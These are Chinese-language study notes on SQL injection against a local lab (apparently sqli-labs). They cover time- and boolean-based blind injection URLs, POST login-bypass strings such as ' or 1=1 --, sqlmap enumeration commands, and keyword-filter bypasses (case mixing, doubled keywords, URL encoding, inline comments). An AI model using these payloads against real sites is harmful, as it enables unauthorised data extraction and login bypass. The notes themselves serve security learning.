Web安全攻防 学习笔记
一、SQL 盲注
1.1、盲注介绍
Blind SQL(盲注)是注入攻击的其中一种,向数据库发生 true 或 false 这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有 解决 SQL 注入存在的代码问题。
1.2、盲注种类
-
布尔类型的盲注
-
时间的盲注
二、GET 盲注
2.1、GET 基于时间的盲注
# mysql 中的 if 函数
if(ascii(substr(database(),1,1))=115, 1, sleep(3))
# 如果 ascii(substr(database(),1,1))=115 执行成功, 返回(或执行) 1
# 若不成功, 则返回(或执行) sleep(3)
-
ascii(x)
返回 x 的 ASCII 码 -
substr( str, pos, len )
从字符串 str 的 pos 位置截取长度为 len 的字符串 -
database()
获取数据库名
当数据库名第一个(从 1 开始截取)字母(长度为 1 的字符串就是个字母)的 ASCII 码不等于 115 时,执行一次 sleep(3) 函数等待 3 秒。
例:
- 先判断是否存在注入点
# 若存在注入点, 则会执行 and 后面的语句, 那么就会执行 sleep(3)
http://127.0.0.1/sqli/Less-1/?id=1' and if(1=0, 1, sleep(3)) --+
- 判断数据库名字的长度
# 从 1 试到 9 终于执行 sleep(3) 了, 长度为 8
http://127.0.0.1/sqli/Less-1/?id=1' and if(length(database())=9, 1, sleep(3)) --+
- 判断数据库名字
http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substr(database(), 1, 1))=115, sleep(3), 1) --+
# 为了快一点点, 所以蒙对了就执行 sleep(3)
# a 试到 s (当然大写也要试), 也就是 ASCII 为 115 时得出数据库的第一个字母
# 然后剩下的 7 个字母也是一个个试吧
2.2、GET 基于布尔的盲注
简单来说就是在原来的语句后面添加一个只输出 True 或 False 的语句,若页面返回正常(能正常显示)则表示返回值为 True(往往就说明蒙对了);反之为 False。
例:
- 先判断是否存在注入点
http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+
# 正常返回, 说明存在注入点
- 判断数据库名字的长度
http://127.0.0.1/sqli/Less-1/?id=1' and length(database())=8 --+
# 依旧是一个个尝试, 探得数据库名字长度为 8
- 判断数据库名字
http://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr(database(), 1, 1))=115 --+
# 当然最好还是加个括号, 语句更清晰
http://127.0.0.1/sqli/Less-1/?id=1' and (ascii(substr(database(), 1, 1))=115) --+
基于布尔的盲注,我们通常采用下面的办法猜解字符串:
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
我们也可以看一下 sqlmap 的布尔盲注是怎么回事
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --dbs
# 当然也可以看时间盲注
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs
三、POST 盲注
3.1、POST 基于错误的注入
特点:
-
POST 请求不能被缓存下来
-
POST 请求不会保存在浏览器浏览记录中
-
以 POST 请求的 URL 无法保存为浏览器书签
-
POST 请求没有长度限制
-
一般用来提交表单、上传文件
3.2、POST 基于错误的单引号注入
看到了,确实存在注入点,而且是单引号闭合,参数也有了
使用字符串注入
# 原来的 sql 语句
select * from xxx where uname = 'xxx' and passwd = 'xxx';
# 注入 xxx' or 1=1 -- (注意后面有一个空格)
select * from xxx where uname = 'xxx' or 1=1 -- ' and passwd = 'xxx';
3.3、POST 基于错误的双引号注入
# 报错信息 'www") LIMIT 0,1'
# 报错内容 www") LIMIT 0,1
# 所以是使用 ") 闭合的
使用字符串注入
# 原来的 sql 语句
select * from xxx where uname = ("xxx") and passwd = 'xxx';
# 注入 xxx") or 1=1 -- (注意后面有一个空格)
select * from xxx where uname = ("xxx") or 1=1 -- ") and passwd = 'xxx';
使用 sqlmap 进行探测
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-12/" --data="uname=admin&passwd=123" --banner
# 使用文件探测, target.txt 文件如下, 自己创建的在 sqlmap 文件夹下
$ python sqlmap.py -r target.txt --banner
那如果页面没有报错信息呢? 那就用时间盲注、布尔盲注。
3.4、POST 基于时间的盲注
# 在存在注入点 POST 提交的参数后加
and (select (if(length(database())>5,sleep(5),null))) --
xxx' and (select (if(length(database())>5,sleep(5),null))) -- (同样的这后面要有一个空格)
3.5、POST 基于布尔的盲注
在存在注入点 POST 提交的参数后加入 if 判断语句,当然它在页面并没有什么显示
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
四、SQL 注入绕过手段
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤
,当然这种过滤只是发现关键字出现,并不会对关键字处理。
4.1、大小写绕过
通过修改关键字内字母大小写来绕过过滤措施。例如:
and 可以用 AnD ANd 等代替
order by 可以使用 OrdER 等来进行绕过
4.2、双写绕过
如果在程序中设置出现关键字之后替换为空,那么 SQL 注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。
uniunionon
# 一次替换会将中间的 union 替换为空, 剩下的也是一个 union
# 也可以结合大小写绕过
aandnd anandd
oorr
4.3、编码绕过
可以利用 URL 编码工具,利用编码后的代码绕过SQL注入的过滤机制。
http://tool.chinaz.com/Tools/urlencode.aspx
xxx' and (select (if(length(database())>5,sleep(5),null))) --
替换成
xxx%27+and+(select+(if(length(database())%3e5%2csleep(5)%2cnull)))+--+
4.4、内联注释绕过
在 MySQL 中内联注释中的内容可以被当做 SQL 语句执行。
/*!select*/ * from users;
/*!select * from users*/;